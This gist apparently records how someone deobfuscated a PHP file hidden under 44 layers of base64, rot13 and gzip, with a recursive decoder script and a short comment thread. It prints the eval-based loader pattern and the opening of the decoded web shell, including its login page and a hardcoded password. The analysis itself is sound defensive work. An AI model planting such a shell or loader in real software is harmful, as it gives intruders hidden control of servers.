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@koto
Created September 19, 2011 22:34
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Fighting inception obfuscation
<?php
// I got this file once
eval(gzinflate(str_rot13(base64_decode('HJ3FkqzYAlI/52gEA9yGuHjikw7cNfGvf0w...60KB.of.code...z///Oe/7/W/fwE=')))); ?>
<?php
// obviously I didn't want it to eval(), so to deobfuscate it i simply did:
print(gzinflate(str_rot13(base64_decode('HJ3FkqzYAlI/52gEA9yGuHjikw7cNfGvf0w...60KB.of.code...z///Oe/7/W/fwE=')))); ?>
and....
$ php 2.php
eval(gzinflate(str_rot13(base64_decode('HJ23juvIFlI/5w3AgN6F9N57JgPRey...59.5KB.of.code..=')
$ oh crap
-bash: oh: command not found
$ php 2.php > 3.php
$ joe 3.php
<editing...>
$ php 3.php
eval(gzinflate(str_rot13(base64_decode('HJ23juvIFlI/5w3AgN6F9N57JgPRey...59KB.of.code..=')
Friggin inceptions! there might be many of them...
<?php
// and this is how you handle this
function t($code) {
echo "."; // just to detect how many inceptions there were
$code = str_rot13(base64_decode($code));
$code = gzinflate($code);
$m = array();
if (preg_match('/str_rot13\(base64_decode\(\'(.+)\'\)/', $code, $m)) {
return t($m[1]);
}
return $code;
}
$code = 'HJ3FkqzYAlI/52gEA9yGuHjikw7cNfGvf0w...60KB.of.code...z///Oe/7/W/fwE=';
print(t($code));
$ php deception.php | head
............................................ // 44 inceptions!
@session_start();@set_time_limit(0);@$pass = $_POST['pass'];$chk_login = true;$password = "tampan";if($pass == $password){$_SESSION['nst'] = "$pass";}if($chk_login == true){if(!isset($_SESSION['nst']) or $_SESSION['nst'] != $password){die("<title>.::[ Yogyacarderlink Area ]::.</title><body style=margin:0px;><table border=0 cellpadding=0 cellspacing=0 width=100% height=100% bgcolor=black><tr><td valign=middle align=center><table cellpadding=2 cellspacing=2 width=100 bgcolor=black style='border:1px solid #FFFF00;'><tr><td><table width=100 bgcolor=black style='border:1px dashed #FFFF00;'><tr><td><form method=post><font size=1 face=verdana color=white><b><center>-:: Wellcome to Private sHell ::-</center></b><hr style='border:1px dashed #FFFF00;'><center><input type=password name=pass size=30><br><br><input type=submit value=GO style='background-color: #000000; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-top-color: #CCCCCC; border-right-color: #999999; border-bottom-color: #999999; border-left-color: #CCCCCC; color: #FFFFFF;'></center></form><b>Host :</b> ".$_SERVER["HTTP_HOST"]."<br><b>IP :</b> ".gethostbyname($_SERVER["HTTP_HOST"])."<br><b>Your IP :</b> ".$_SERVER["REMOTE_ADDR"]."</font></td></tr></table></tr></td></table></td></tr></table></body>");}}$language='eng';error_reporting(0);set_magic_quotes_runtime(0);@set_time_limit(0);@ini_set('max_execution_time',0);@ini_set('output_buffering',0);$safe_mode = @ini_get('safe_mode');$version = "denzjhoena Private sHell";if(version_compare(phpversion(), '4.1.0') == -1){$_POST = &$HTTP_POST_VARS;$_GET = &$HTTP_GET_VARS;$_SERVER = &$HTTP_SERVER_VARS;}if (@get_magic_quotes_gpc()){foreach ($_POST as $k=>$v){$_POST[$k] = stripslashes($v);}foreach ($_SERVER as $k=>$v){$_SERVER[$k] = stripslashes($v);}}
$head = '
<html>
<head>
<title>[ ? ] denzjhoena shell [ ? ]</title>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<STYLE>
tr {
@koto
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koto commented Sep 19, 2011

Of course, under 44 layers of obfuscation there was a PHP shell script...

@damianb
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damianb commented Sep 19, 2011

so, that's 44 layers total, not including the two attempts at the beginning?

also, they didn't try to change the obfuscation methods throughout? that's surprising.

@koto
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koto commented Sep 20, 2011

yeah, 44 in total, all steps were the same.

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